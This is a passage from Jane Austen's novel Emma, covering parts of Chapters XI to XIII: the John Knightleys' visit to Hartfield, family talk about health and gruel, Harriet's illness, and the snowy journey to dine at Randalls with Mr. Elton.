Mrs. John Knightley, from having been longer than usual +absent from Surry, were exciting of course rather more than the +usual interest. Till this year, every long vacation since their +marriage had been divided between Hartfield and Donwell Abbey; +but all the holidays of this autumn had been given to sea-bathing +for the children, and it was therefore many months since they had +been seen in a regular way by their Surry connexions, or seen at all +by Mr. Woodhouse, who could not be induced to get so far as London, +even for poor Isabella's sake; and who consequently was now most +nervously and apprehensively happy in forestalling this too short visit. + +He thought much of the evils of the journey for her, and not a +little of the fatigues of his own horses and coachman who were to +bring some of the party the last half of the way; but his alarms +were needless; the sixteen miles being happily accomplished, +and Mr. and Mrs. John Knightley, their five children, and a competent +number of nursery-maids, all reaching Hartfield in safety. +The bustle and joy of such an arrival, the many to be talked to, +welcomed, encouraged, and variously dispersed and disposed of, +produced a noise and confusion which his nerves could not have borne +under any other cause, nor have endured much longer even for this; +but the ways of Hartfield and the feelings of her father were +so respected by Mrs. John Knightley, that in spite of maternal +solicitude for the immediate enjoyment of her little ones, +and for their having instantly all the liberty and attendance, +all the eating and drinking, and sleeping and playing, +which they could possibly wish for, without the smallest delay, +the children were never allowed to be long a disturbance to him, +either in themselves or in any restless attendance on them. + +Mrs. John Knightley was a pretty, elegant little woman, of gentle, +quiet manners, and a disposition remarkably amiable and affectionate; +wrapt up in her family; a devoted wife, a doating mother, +and so tenderly attached to her father and sister that, but for +these higher ties, a warmer love might have seemed impossible. +She could never see a fault in any of them. She was not a woman +of strong understanding or any quickness; and with this resemblance +of her father, she inherited also much of his constitution; +was delicate in her own health, over-careful of that of her children, +had many fears and many nerves, and was as fond of her own Mr. Wingfield +in town as her father could be of Mr. Perry. They were alike too, +in a general benevolence of temper, and a strong habit of regard +for every old acquaintance. + +Mr. John Knightley was a tall, gentleman-like, and very clever man; +rising in his profession, domestic, and respectable in his +private character; but with reserved manners which prevented his being +generally pleasing; and capable of being sometimes out of humour. +He was not an ill-tempered man, not so often unreasonably cross +as to deserve such a reproach; but his temper was not his +great perfection; and, indeed, with such a worshipping wife, +it was hardly possible that any natural defects in it should not +be increased. The extreme sweetness of her temper must hurt his. +He had all the clearness and quickness of mind which she wanted, +and he could sometimes act an ungracious, or say a severe thing. + +He was not a great favourite with his fair sister-in-law. Nothing +wrong in him escaped her. She was quick in feeling the little +injuries to Isabella, which Isabella never felt herself. +Perhaps she might have passed over more had his manners been +flattering to Isabella's sister, but they were only those of a calmly +kind brother and friend, without praise and without blindness; +but hardly any degree of personal compliment could have made her +regardless of that greatest fault of all in her eyes which he sometimes +fell into, the want of respectful forbearance towards her father. +There he had not always the patience that could have been wished. +Mr. Woodhouse's peculiarities and fidgetiness were sometimes provoking +him to a rational remonstrance or sharp retort equally ill-bestowed. +It did not often happen; for Mr. John Knightley had really a great +regard for his father-in-law, and generally a strong sense of what was +due to him; but it was too often for Emma's charity, especially as +there was all the pain of apprehension frequently to be endured, +though the offence came not. The beginning, however, of every visit +displayed none but the properest feelings, and this being of necessity +so short might be hoped to pass away in unsullied cordiality. +They had not been long seated and composed when Mr. Woodhouse, +with a melancholy shake of the head and a sigh, called his daughter's +attention to the sad change at Hartfield since she had been there last. + +"Ah, my dear," said he, "poor Miss Taylor--It is a grievous business." + +"Oh yes, sir," cried she with ready sympathy, "how you must +miss her! And dear Emma, too!--What a dreadful loss to you both!-- +I have been so grieved for you.--I could not imagine how you could +possibly do without her.--It is a sad change indeed.--But I hope +she is pretty well, sir." + +"Pretty well, my dear--I hope--pretty well.--I do not know +but that the place agrees with her tolerably." + +Mr. John Knightley here asked Emma quietly whether there were any +doubts of the air of Randalls. + +"Oh! no--none in the least. I never saw Mrs. Weston better in my life-- +never looking so well. Papa is only speaking his own regret." + +"Very much to the honour of both," was the handsome reply. + +"And do you see her, sir, tolerably often?" asked Isabella +in the plaintive tone which just suited her father. + +Mr. Woodhouse hesitated.--"Not near so often, my dear, as I could wish." + +"Oh! papa, we have missed seeing them but one entire day since +they married. Either in the morning or evening of every day, +excepting one, have we seen either Mr. Weston or Mrs. Weston, +and generally both, either at Randalls or here--and as you +may suppose, Isabella, most frequently here. They are very, +very kind in their visits. Mr. Weston is really as kind as herself. +Papa, if you speak in that melancholy way, you will be giving +Isabella a false idea of us all. Every body must be aware that Miss +Taylor must be missed, but every body ought also to be assured +that Mr. and Mrs. Weston do really prevent our missing her by any +means to the extent we ourselves anticipated--which is the exact truth." + +"Just as it should be," said Mr. John Knightley, "and just as I hoped +it was from your letters. Her wish of shewing you attention could +not be doubted, and his being a disengaged and social man makes it +all easy. I have been always telling you, my love, that I had no idea +of the change being so very material to Hartfield as you apprehended; +and now you have Emma's account, I hope you will be satisfied." + +"Why, to be sure," said Mr. Woodhouse--"yes, certainly--I cannot deny +that Mrs. Weston, poor Mrs. Weston, does come and see us pretty often-- +but then--she is always obliged to go away again." + +"It would be very hard upon Mr. Weston if she did not, papa.-- +You quite forget poor Mr. Weston." + +"I think, indeed," said John Knightley pleasantly, "that Mr. Weston +has some little claim. You and I, Emma, will venture to take the part +of the poor husband. I, being a husband, and you not being a wife, +the claims of the man may very likely strike us with equal force. +As for Isabella, she has been married long enough to see the convenience +of putting all the Mr. Westons aside as much as she can." + +"Me, my love," cried his wife, hearing and understanding only in part.-- +"Are you talking about me?--I am sure nobody ought to be, or can be, +a greater advocate for matrimony than I am; and if it had not been +for the misery of her leaving Hartfield, I should never have thought +of Miss Taylor but as the most fortunate woman in the world; +and as to slighting Mr. Weston, that excellent Mr. Weston, I think +there is nothing he does not deserve. I believe he is one of the +very best-tempered men that ever existed. Excepting yourself +and your brother, I do not know his equal for temper. I shall +never forget his flying Henry's kite for him that very windy day +last Easter--and ever since his particular kindness last September +twelvemonth in writing that note, at twelve o'clock at night, +on purpose to assure me that there was no scarlet fever at Cobham, +I have been convinced there could not be a more feeling heart nor +a better man in existence.--If any body can deserve him, it must be +Miss Taylor." + +"Where is the young man?" said John Knightley. "Has he been here +on this occasion--or has he not?" + +"He has not been here yet," replied Emma. "There was a strong +expectation of his coming soon after the marriage, but it ended +in nothing; and I have not heard him mentioned lately." + +"But you should tell them of the letter, my dear," said her father. +"He wrote a letter to poor Mrs. Weston, to congratulate her, +and a very proper, handsome letter it was. She shewed it to me. +I thought it very well done of him indeed. Whether it was his own idea +you know, one cannot tell. He is but young, and his uncle, perhaps--" + +"My dear papa, he is three-and-twenty. You forget how time passes." + +"Three-and-twenty!--is he indeed?--Well, I could not have thought it-- +and he was but two years old when he lost his poor mother! Well, +time does fly indeed!--and my memory is very bad. However, it was +an exceeding good, pretty letter, and gave Mr. and Mrs. Weston +a great deal of pleasure. I remember it was written from Weymouth, +and dated Sept. 28th--and began, `My dear Madam,' but I forget +how it went on; and it was signed `F. C. Weston Churchill.'-- +I remember that perfectly." + +"How very pleasing and proper of him!" cried the good-hearted Mrs. John +Knightley. "I have no doubt of his being a most amiable young man. +But how sad it is that he should not live at home with his father! +There is something so shocking in a child's being taken away from his +parents and natural home! I never could comprehend how Mr. Weston +could part with him. To give up one's child! I really never +could think well of any body who proposed such a thing to any body else." + +"Nobody ever did think well of the Churchills, I fancy," +observed Mr. John Knightley coolly. "But you need not imagine +Mr. Weston to have felt what you would feel in giving up Henry +or John. Mr. Weston is rather an easy, cheerful-tempered man, +than a man of strong feelings; he takes things as he finds them, +and makes enjoyment of them somehow or other, depending, I suspect, +much more upon what is called society for his comforts, that is, +upon the power of eating and drinking, and playing whist with his +neighbours five times a week, than upon family affection, or any +thing that home affords." + +Emma could not like what bordered on a reflection on Mr. Weston, +and had half a mind to take it up; but she struggled, and let +it pass. She would keep the peace if possible; and there was +something honourable and valuable in the strong domestic habits, +the all-sufficiency of home to himself, whence resulted her brother's +disposition to look down on the common rate of social intercourse, +and those to whom it was important.--It had a high claim to forbearance. + + + +CHAPTER XII + + +Mr. Knightley was to dine with them--rather against the inclination +of Mr. Woodhouse, who did not like that any one should share with him +in Isabella's first day. Emma's sense of right however had decided it; +and besides the consideration of what was due to each brother, +she had particular pleasure, from the circumstance of the late +disagreement between Mr. Knightley and herself, in procuring him +the proper invitation. + +She hoped they might now become friends again. She thought it +was time to make up. Making-up indeed would not do. _She_ certainly +had not been in the wrong, and _he_ would never own that he had. +Concession must be out of the question; but it was time to appear +to forget that they had ever quarrelled; and she hoped it might rather +assist the restoration of friendship, that when he came into the room +she had one of the children with her--the youngest, a nice little girl +about eight months old, who was now making her first visit to Hartfield, +and very happy to be danced about in her aunt's arms. It did assist; +for though he began with grave looks and short questions, he was soon +led on to talk of them all in the usual way, and to take the child +out of her arms with all the unceremoniousness of perfect amity. +Emma felt they were friends again; and the conviction giving +her at first great satisfaction, and then a little sauciness, +she could not help saying, as he was admiring the baby, + +"What a comfort it is, that we think alike about our nephews and nieces. +As to men and women, our opinions are sometimes very different; +but with regard to these children, I observe we never disagree." + +"If you were as much guided by nature in your estimate of men +and women, and as little under the power of fancy and whim in your +dealings with them, as you are where these children are concerned, +we might always think alike." + +"To be sure--our discordancies must always arise from my being +in the wrong." + +"Yes," said he, smiling--"and reason good. I was sixteen years +old when you were born." + +"A material difference then," she replied--"and no doubt you were +much my superior in judgment at that period of our lives; but does +not the lapse of one-and-twenty years bring our understandings +a good deal nearer?" + +"Yes--a good deal _nearer_." + +"But still, not near enough to give me a chance of being right, +if we think differently." + +"I have still the advantage of you by sixteen years' experience, and by +not being a pretty young woman and a spoiled child. Come, my dear Emma, +let us be friends, and say no more about it. Tell your aunt, little Emma, +that she ought to set you a better example than to be renewing +old grievances, and that if she were not wrong before, she is now." + +"That's true," she cried--"very true. Little Emma, grow up +a better woman than your aunt. Be infinitely cleverer and not +half so conceited. Now, Mr. Knightley, a word or two more, and I +have done. As far as good intentions went, we were _both_ right, +and I must say that no effects on my side of the argument have yet +proved wrong. I only want to know that Mr. Martin is not very, +very bitterly disappointed." + +"A man cannot be more so," was his short, full answer. + +"Ah!--Indeed I am very sorry.--Come, shake hands with me." + +This had just taken place and with great cordiality, when John +Knightley made his appearance, and "How d'ye do, George?" and "John, +how are you?" succeeded in the true English style, burying under +a calmness that seemed all but indifference, the real attachment +which would have led either of them, if requisite, to do every thing +for the good of the other. + +The evening was quiet and conversable, as Mr. Woodhouse declined +cards entirely for the sake of comfortable talk with his +dear Isabella, and the little party made two natural divisions; +on one side he and his daughter; on the other the two Mr. Knightleys; +their subjects totally distinct, or very rarely mixing--and Emma +only occasionally joining in one or the other. + +The brothers talked of their own concerns and pursuits, but principally +of those of the elder, whose temper was by much the most communicative, +and who was always the greater talker. As a magistrate, he had +generally some point of law to consult John about, or, at least, +some curious anecdote to give; and as a farmer, as keeping in hand +the home-farm at Donwell, he had to tell what every field was to bear +next year, and to give all such local information as could not fail +of being interesting to a brother whose home it had equally been +the longest part of his life, and whose attachments were strong. +The plan of a drain, the change of a fence, the felling of a tree, +and the destination of every acre for wheat, turnips, or spring corn, +was entered into with as much equality of interest by John, as his +cooler manners rendered possible; and if his willing brother ever +left him any thing to inquire about, his inquiries even approached +a tone of eagerness. + +While they were thus comfortably occupied, Mr. Woodhouse was enjoying +a full flow of happy regrets and fearful affection with his daughter. + +"My poor dear Isabella," said he, fondly taking her hand, +and interrupting, for a few moments, her busy labours for some one +of her five children--"How long it is, how terribly long since you +were here! And how tired you must be after your journey! You must +go to bed early, my dear--and I recommend a little gruel to you +before you go.--You and I will have a nice basin of gruel together. +My dear Emma, suppose we all have a little gruel." + +Emma could not suppose any such thing, knowing as she did, +that both the Mr. Knightleys were as unpersuadable on that article +as herself;--and two basins only were ordered. After a little +more discourse in praise of gruel, with some wondering at its +not being taken every evening by every body, he proceeded to say, +with an air of grave reflection, + +"It was an awkward business, my dear, your spending the autumn +at South End instead of coming here. I never had much opinion +of the sea air." + +"Mr. Wingfield most strenuously recommended it, sir--or we +should not have gone. He recommended it for all the children, +but particularly for the weakness in little Bella's throat,-- +both sea air and bathing." + +"Ah! my dear, but Perry had many doubts about the sea doing her +any good; and as to myself, I have been long perfectly convinced, +though perhaps I never told you so before, that the sea is very +rarely of use to any body. I am sure it almost killed me once." + +"Come, come," cried Emma, feeling this to be an unsafe subject, "I must +beg you not to talk of the sea. It makes me envious and miserable;-- +I who have never seen it! South End is prohibited, if you please. +My dear Isabella, I have not heard you make one inquiry about +Mr. Perry yet; and he never forgets you." + +"Oh! good Mr. Perry--how is he, sir?" + +"Why, pretty well; but not quite well. Poor Perry is bilious, +and he has not time to take care of himself--he tells me he has +not time to take care of himself--which is very sad--but he is +always wanted all round the country. I suppose there is not a man +in such practice anywhere. But then there is not so clever a man +any where." + +"And Mrs. Perry and the children, how are they? do the children grow? +I have a great regard for Mr. Perry. I hope he will be calling soon. +He will be so pleased to see my little ones." + +"I hope he will be here to-morrow, for I have a question or two to ask +him about myself of some consequence. And, my dear, whenever he comes, +you had better let him look at little Bella's throat." + +"Oh! my dear sir, her throat is so much better that I have hardly +any uneasiness about it. Either bathing has been of the greatest +service to her, or else it is to be attributed to an excellent +embrocation of Mr. Wingfield's, which we have been applying +at times ever since August." + +"It is not very likely, my dear, that bathing should have been +of use to her--and if I had known you were wanting an embrocation, +I would have spoken to-- + +"You seem to me to have forgotten Mrs. and Miss Bates," said Emma, +"I have not heard one inquiry after them." + +"Oh! the good Bateses--I am quite ashamed of myself--but you +mention them in most of your letters. I hope they are quite well. +Good old Mrs. Bates--I will call upon her to-morrow, and take +my children.--They are always so pleased to see my children.-- +And that excellent Miss Bates!--such thorough worthy people!-- +How are they, sir?" + +"Why, pretty well, my dear, upon the whole. But poor Mrs. Bates +had a bad cold about a month ago." + +"How sorry I am! But colds were never so prevalent as they have been +this autumn. Mr. Wingfield told me that he has never known them +more general or heavy--except when it has been quite an influenza." + +"That has been a good deal the case, my dear; but not to the degree +you mention. Perry says that colds have been very general, +but not so heavy as he has very often known them in November. +Perry does not call it altogether a sickly season." + +"No, I do not know that Mr. Wingfield considers it _very_ sickly except-- + +"Ah! my poor dear child, the truth is, that in London it is always +a sickly season. Nobody is healthy in London, nobody can be. +It is a dreadful thing to have you forced to live there! so far off!-- +and the air so bad!" + +"No, indeed--_we_ are not at all in a bad air. Our part of London is +very superior to most others!--You must not confound us with London +in general, my dear sir. The neighbourhood of Brunswick Square +is very different from almost all the rest. We are so very airy! +I should be unwilling, I own, to live in any other part of the town;-- +there is hardly any other that I could be satisfied to have my +children in: but _we_ are so remarkably airy!--Mr. Wingfield thinks +the vicinity of Brunswick Square decidedly the most favourable as +to air." + +"Ah! my dear, it is not like Hartfield. You make the best of it-- +but after you have been a week at Hartfield, you are all of you +different creatures; you do not look like the same. Now I cannot say, +that I think you are any of you looking well at present." + +"I am sorry to hear you say so, sir; but I assure you, excepting those +little nervous head-aches and palpitations which I am never entirely +free from anywhere, I am quite well myself; and if the children were +rather pale before they went to bed, it was only because they were +a little more tired than usual, from their journey and the happiness +of coming. I hope you will think better of their looks to-morrow; +for I assure you Mr. Wingfield told me, that he did not believe +he had ever sent us off altogether, in such good case. I trust, +at least, that you do not think Mr. Knightley looking ill," +turning her eyes with affectionate anxiety towards her husband. + +"Middling, my dear; I cannot compliment you. I think Mr. John +Knightley very far from looking well." + +"What is the matter, sir?--Did you speak to me?" cried Mr. John +Knightley, hearing his own name. + +"I am sorry to find, my love, that my father does not think you +looking well--but I hope it is only from being a little fatigued. +I could have wished, however, as you know, that you had seen +Mr. Wingfield before you left home." + +"My dear Isabella,"--exclaimed he hastily--"pray do not concern +yourself about my looks. Be satisfied with doctoring and coddling +yourself and the children, and let me look as I chuse." + +"I did not thoroughly understand what you were telling your brother," +cried Emma, "about your friend Mr. Graham's intending to have a bailiff +from Scotland, to look after his new estate. What will it answer? +Will not the old prejudice be too strong?" + +And she talked in this way so long and successfully that, when forced +to give her attention again to her father and sister, she had nothing +worse to hear than Isabella's kind inquiry after Jane Fairfax; +and Jane Fairfax, though no great favourite with her in general, +she was at that moment very happy to assist in praising. + +"That sweet, amiable Jane Fairfax!" said Mrs. John Knightley.-- +"It is so long since I have seen her, except now and then for a moment +accidentally in town! What happiness it must be to her good old +grandmother and excellent aunt, when she comes to visit them! +I always regret excessively on dear Emma's account that she cannot +be more at Highbury; but now their daughter is married, I suppose +Colonel and Mrs. Campbell will not be able to part with her at all. +She would be such a delightful companion for Emma." + +Mr. Woodhouse agreed to it all, but added, + +"Our little friend Harriet Smith, however, is just such another +pretty kind of young person. You will like Harriet. Emma could +not have a better companion than Harriet." + +"I am most happy to hear it--but only Jane Fairfax one knows to be +so very accomplished and superior!--and exactly Emma's age." + +This topic was discussed very happily, and others succeeded of +similar moment, and passed away with similar harmony; but the evening +did not close without a little return of agitation. The gruel came +and supplied a great deal to be said--much praise and many comments-- +undoubting decision of its wholesomeness for every constitution, +and pretty severe Philippics upon the many houses where it was +never met with tolerable;--but, unfortunately, among the failures +which the daughter had to instance, the most recent, and therefore +most prominent, was in her own cook at South End, a young woman +hired for the time, who never had been able to understand what she +meant by a basin of nice smooth gruel, thin, but not too thin. +Often as she had wished for and ordered it, she had never been able +to get any thing tolerable. Here was a dangerous opening. + +"Ah!" said Mr. Woodhouse, shaking his head and fixing his eyes on +her with tender concern.--The ejaculation in Emma's ear expressed, +"Ah! there is no end of the sad consequences of your going to +South End. It does not bear talking of." And for a little while +she hoped he would not talk of it, and that a silent rumination +might suffice to restore him to the relish of his own smooth gruel. +After an interval of some minutes, however, he began with, + +"I shall always be very sorry that you went to the sea this autumn, +instead of coming here." + +"But why should you be sorry, sir?--I assure you, it did the children +a great deal of good." + +"And, moreover, if you must go to the sea, it had better not +have been to South End. South End is an unhealthy place. +Perry was surprized to hear you had fixed upon South End." + +"I know there is such an idea with many people, but indeed it is +quite a mistake, sir.--We all had our health perfectly well there, +never found the least inconvenience from the mud; and Mr. Wingfield +says it is entirely a mistake to suppose the place unhealthy; +and I am sure he may be depended on, for he thoroughly understands +the nature of the air, and his own brother and family have been +there repeatedly." + +"You should have gone to Cromer, my dear, if you went anywhere.-- +Perry was a week at Cromer once, and he holds it to be the best +of all the sea-bathing places. A fine open sea, he says, and very +pure air. And, by what I understand, you might have had lodgings there +quite away from the sea--a quarter of a mile off--very comfortable. +You should have consulted Perry." + +"But, my dear sir, the difference of the journey;--only consider how +great it would have been.--An hundred miles, perhaps, instead of forty." + +"Ah! my dear, as Perry says, where health is at stake, nothing else +should be considered; and if one is to travel, there is not much +to chuse between forty miles and an hundred.--Better not move at all, +better stay in London altogether than travel forty miles to get +into a worse air. This is just what Perry said. It seemed to him +a very ill-judged measure." + +Emma's attempts to stop her father had been vain; and when he +had reached such a point as this, she could not wonder at her +brother-in-law's breaking out. + +"Mr. Perry," said he, in a voice of very strong displeasure, +"would do as well to keep his opinion till it is asked for. +Why does he make it any business of his, to wonder at what I do?-- +at my taking my family to one part of the coast or another?--I may +be allowed, I hope, the use of my judgment as well as Mr. Perry.-- +I want his directions no more than his drugs." He paused-- +and growing cooler in a moment, added, with only sarcastic dryness, +"If Mr. Perry can tell me how to convey a wife and five children +a distance of an hundred and thirty miles with no greater expense +or inconvenience than a distance of forty, I should be as willing to +prefer Cromer to South End as he could himself." + +"True, true," cried Mr. Knightley, with most ready interposition-- +"very true. That's a consideration indeed.--But John, as to what I +was telling you of my idea of moving the path to Langham, of turning +it more to the right that it may not cut through the home meadows, +I cannot conceive any difficulty. I should not attempt it, +if it were to be the means of inconvenience to the Highbury people, +but if you call to mind exactly the present line of the path. . . . +The only way of proving it, however, will be to turn to our maps. +I shall see you at the Abbey to-morrow morning I hope, and then we +will look them over, and you shall give me your opinion." + +Mr. Woodhouse was rather agitated by such harsh reflections on +his friend Perry, to whom he had, in fact, though unconsciously, +been attributing many of his own feelings and expressions;-- +but the soothing attentions of his daughters gradually removed +the present evil, and the immediate alertness of one brother, +and better recollections of the other, prevented any renewal of it. + + + +CHAPTER XIII + + +There could hardly be a happier creature in the world than Mrs. John +Knightley, in this short visit to Hartfield, going about every morning +among her old acquaintance with her five children, and talking +over what she had done every evening with her father and sister. +She had nothing to wish otherwise, but that the days did not pass +so swiftly. It was a delightful visit;--perfect, in being much too short. + +In general their evenings were less engaged with friends than +their mornings; but one complete dinner engagement, and out +of the house too, there was no avoiding, though at Christmas. +Mr. Weston would take no denial; they must all dine at Randalls +one day;--even Mr. Woodhouse was persuaded to think it a possible +thing in preference to a division of the party. + +How they were all to be conveyed, he would have made a difficulty +if he could, but as his son and daughter's carriage and horses +were actually at Hartfield, he was not able to make more than +a simple question on that head; it hardly amounted to a doubt; +nor did it occupy Emma long to convince him that they might in one +of the carriages find room for Harriet also. + +Harriet, Mr. Elton, and Mr. Knightley, their own especial set, +were the only persons invited to meet them;--the hours were to be early, +as well as the numbers few; Mr. Woodhouse's habits and inclination +being consulted in every thing. + +The evening before this great event (for it was a very great event +that Mr. Woodhouse should dine out, on the 24th of December) had been +spent by Harriet at Hartfield, and she had gone home so much indisposed +with a cold, that, but for her own earnest wish of being nursed +by Mrs. Goddard, Emma could not have allowed her to leave the house. +Emma called on her the next day, and found her doom already signed +with regard to Randalls. She was very feverish and had a bad +sore throat: Mrs. Goddard was full of care and affection, Mr. Perry +was talked of, and Harriet herself was too ill and low to resist +the authority which excluded her from this delightful engagement, +though she could not speak of her loss without many tears. + +Emma sat with her as long as she could, to attend her in Mrs. Goddard's +unavoidable absences, and raise her spirits by representing how much +Mr. Elton's would be depressed when he knew her state; and left her +at last tolerably comfortable, in the sweet dependence of his having +a most comfortless visit, and of their all missing her very much. +She had not advanced many yards from Mrs. Goddard's door, when she +was met by Mr. Elton himself, evidently coming towards it, and as +they walked on slowly together in conversation about the invalid-- +of whom he, on the rumour of considerable illness, had been going +to inquire, that he might carry some report of her to Hartfield-- +they were overtaken by Mr. John Knightley returning from the +daily visit to Donwell, with his two eldest boys, whose healthy, +glowing faces shewed all the benefit of a country run, and seemed +to ensure a quick despatch of the roast mutton and rice pudding they +were hastening home for. They joined company and proceeded together. +Emma was just describing the nature of her friend's complaint;-- +"a throat very much inflamed, with a great deal of heat about her, +a quick, low pulse, &c. and she was sorry to find from Mrs. Goddard +that Harriet was liable to very bad sore-throats, and had often +alarmed her with them." Mr. Elton looked all alarm on the occasion, +as he exclaimed, + +"A sore-throat!--I hope not infectious. I hope not of a putrid +infectious sort. Has Perry seen her? Indeed you should take care +of yourself as well as of your friend. Let me entreat you to run +no risks. Why does not Perry see her?" + +Emma, who was not really at all frightened herself, tranquillised this +excess of apprehension by assurances of Mrs. Goddard's experience +and care; but as there must still remain a degree of uneasiness +which she could not wish to reason away, which she would rather +feed and assist than not, she added soon afterwards--as if quite +another subject, + +"It is so cold, so very cold--and looks and feels so very much +like snow, that if it were to any other place or with any other party, +I should really try not to go out to-day--and dissuade my father +from venturing; but as he has made up his mind, and does not seem +to feel the cold himself, I do not like to interfere, as I know it +would be so great a disappointment to Mr. and Mrs. Weston. But, upon +my word, Mr. Elton, in your case, I should certainly excuse myself. +You appear to me a little hoarse already, and when you consider +what demand of voice and what fatigues to-morrow will bring, +I think it would be no more than common prudence to stay at home +and take care of yourself to-night." + +Mr. Elton looked as if he did not very well know what answer to make; +which was exactly the case; for though very much gratified by the kind +care of such a fair lady, and not liking to resist any advice of +her's, he had not really the least inclination to give up the visit;-- +but Emma, too eager and busy in her own previous conceptions +and views to hear him impartially, or see him with clear vision, +was very well satisfied with his muttering acknowledgment of its +being "very cold, certainly very cold," and walked on, rejoicing in +having extricated him from Randalls, and secured him the power +of sending to inquire after Harriet every hour of the evening. + +"You do quite right," said she;--"we will make your apologies +to Mr. and Mrs. Weston." + +But hardly had she so spoken, when she found her brother was civilly +offering a seat in his carriage, if the weather were Mr. Elton's +only objection, and Mr. Elton actually accepting the offer with much +prompt satisfaction. It was a done thing; Mr. Elton was to go, +and never had his broad handsome face expressed more pleasure than +at this moment; never had his smile been stronger, nor his eyes +more exulting than when he next looked at her. + +"Well," said she to herself, "this is most strange!--After I +had got him off so well, to chuse to go into company, and leave +Harriet ill behind!--Most strange indeed!--But there is, I believe, +in many men, especially single men, such an inclination-- +such a passion for dining out--a dinner engagement is so high in +the class of their pleasures, their employments, their dignities, +almost their duties, that any thing gives way to it--and this must +be the case with Mr. Elton; a most valuable, amiable, pleasing young +man undoubtedly, and very much in love with Harriet; but still, +he cannot refuse an invitation, he must dine out wherever he is asked. +What a strange thing love is! he can see ready wit in Harriet, +but will not dine alone for her." + +Soon afterwards Mr. Elton quitted them, and she could not but do him +the justice of feeling that there was a great deal of sentiment +in his manner of naming Harriet at parting; in the tone of his +voice while assuring her that he should call at Mrs. Goddard's +for news of her fair friend, the last thing before he prepared +for the happiness of meeting her again, when he hoped to be +able to give a better report; and he sighed and smiled himself +off in a way that left the balance of approbation much in his favour. + +After a few minutes of entire silence between them, John Knightley +began with-- + +"I never in my life saw a man more intent on being agreeable than +Mr. Elton. It is downright labour to him where ladies are concerned. +With men he can be rational and unaffected, but when he has ladies +to please, every feature works." + +"Mr. Elton's manners are not perfect," replied Emma; "but where there +is a wish to please, one ought to overlook, and one does overlook +a great deal. Where a man does his best with only moderate powers, +he will have the advantage over negligent superiority. There is +such perfect good-temper and good-will in Mr. Elton as one cannot +but value." + +"Yes," said Mr. John Knightley presently, with some slyness, +"he seems to have a great deal of good-will towards you." + +"Me!" she replied with a smile of astonishment, "are you imagining +me to be Mr. Elton's object?" + +"Such an imagination has crossed me, I own, Emma; and if it never +occurred to you before, you may as well take it into consideration now." + +"Mr. Elton in love with me!--What an idea!" + +"I do not say it is so; but you will do well to consider whether +it is so or not, and to regulate your behaviour accordingly. +I think your manners to him encouraging. I speak as a friend, +Emma. You had better look about you, and ascertain what you do, +and what you mean to do." + +"I thank you; but I assure you you are quite mistaken. Mr. Elton +and I are very good friends, and nothing more;" and she walked on, +amusing herself in the consideration of the blunders which often +arise from a partial knowledge of circumstances, of the mistakes +which people of high pretensions to judgment are for ever falling into; +and not very well pleased with her brother for imagining her blind +and ignorant, and in want of counsel. He said no more. + +Mr. Woodhouse had so completely made up his mind to the visit, +that in spite of the increasing coldness, he seemed to have no idea +of shrinking from it, and set forward at last most punctually +with his eldest daughter in his own carriage, with less apparent +consciousness of the weather than either of the others; too full +of the wonder of his own going, and the pleasure it was to afford at +Randalls to see that it was cold, and too well wrapt up to feel it. +The cold, however, was severe; and by the time the second carriage +was in motion, a few flakes of snow were finding their way down, +and the sky had the appearance of being so overcharged as to want only +a milder air to produce a very white world in a very short time. + +Emma soon saw that her companion was not in the happiest humour. +The preparing and the going abroad in such weather, with the sacrifice +of his children after dinner, were evils, were disagreeables at least, +which Mr. John Knightley did not by any means like; he anticipated +nothing in the visit that could be at all worth the purchase; +and the whole of their drive to the vicarage was spent by him in +expressing his discontent. + +"A man," said he, "must have a very good opinion of himself when +he asks people to leave their own fireside, and encounter such +a day as this, for the sake of coming to see him. He must think +himself a most agreeable fellow; I could not do such a thing. +It is the greatest absurdity--Actually snowing at this moment!-- +The folly of not allowing people to be comfortable at home--and the +folly of people's not staying comfortably at home when they can! +If we were obliged to go out such an evening as this, by any call of +duty or business, what a hardship we should deem it;--and here are we, +probably with rather thinner clothing than usual, setting forward +voluntarily, without excuse, in defiance of the voice of nature, +which tells man, in every thing given to his view or his feelings, +to stay at home himself, and keep all under shelter that he can;-- +here are we setting forward to spend five dull hours in another +man's house, with nothing to say or to hear that was not said +and heard yesterday, and may not be said and heard again to-morrow. +Going in dismal weather, to return probably in worse;--four horses +and four servants taken out for nothing but to convey five idle, +shivering creatures into colder rooms and worse company than they +might have had at home." + +Emma did not find herself equal to give the pleased assent, which no doubt +he was in the habit of receiving, to emulate the "Very true, my love," +which must have been usually administered by his travelling companion; +but she had resolution enough to refrain from making any answer +at all. She could not be complying, she dreaded being quarrelsome; +her heroism reached only to silence. She allowed him to talk, +and arranged the glasses, and wrapped herself up, without opening +her lips. + +They arrived, the carriage turned, the step was let down, +and Mr. Elton, spruce, black, and smiling, was with them instantly. +Emma thought with pleasure of some change of subject. Mr. Elton +was all obligation and cheerfulness; he was so very cheerful +in his civilities indeed, that she began to think he must have +received a different account of Harriet from what had reached her. +She had sent while dressing, and the answer had been, "Much the same-- +not better." + +"_My_ report from Mrs. Goddard's," said she presently, "was not +so pleasant as I had hoped--`Not better' was _my_ answer." + +His face lengthened immediately; and his voice was the voice +of sentiment as he answered. + +"Oh! no--I am grieved to find--I was on the point of telling you that +when I called at Mrs. Goddard's door, which I did the very last thing +before I returned to dress, I was told that Miss Smith was not better, +by no means better, rather worse. Very much grieved and concerned-- +I had flattered myself that she must be better after such a cordial +as I knew had been given her in the morning." + +Emma smiled and answered--"My visit was of use to the nervous part +of her complaint, I hope; but not even I can charm away a sore throat; +it is a most severe cold indeed. Mr. Perry has been with her, +as you probably heard." + +"Yes--I imagined--that is--I did not--" + +"He has been used to her in these complaints, and I hope to-morrow +morning will bring us both a more comfortable report. But it is +impossible not to feel uneasiness. Such a sad loss to our party to-day!" + +"Dreadful!--Exactly so, indeed.--She will be missed every moment." + +This was very proper; the sigh which accompanied it was really estimable; +but it should have lasted longer. Emma was rather in dismay when +only half a minute afterwards he began to speak of other things, +and in a voice of the greatest alacrity and enjoyment. + +"What an excellent device," said he, "the use of a sheepskin +for carriages. How very comfortable they make it;--impossible to +feel cold with such precautions. The contrivances of modern days +indeed have rendered a gentleman's carriage perfectly complete. +One is so fenced and guarded from the weather, that not a breath +of air can find its way unpermitted. Weather becomes absolutely +of no consequence. It is a very cold afternoon--but in this carriage +we know nothing of the matter.--Ha! snows a little I see." + +"Yes," said John Knightley, "and I think we shall have a good deal +of it." + +"Christmas weather," observed Mr. Elton. "Quite seasonable; +and extremely fortunate we may think ourselves that it did not +begin yesterday, and prevent this day's party, which it might very +possibly have done, for Mr. Woodhouse would hardly have ventured had +there been much snow on the ground; but now it is of no consequence. +This is quite the season indeed for friendly meetings. At 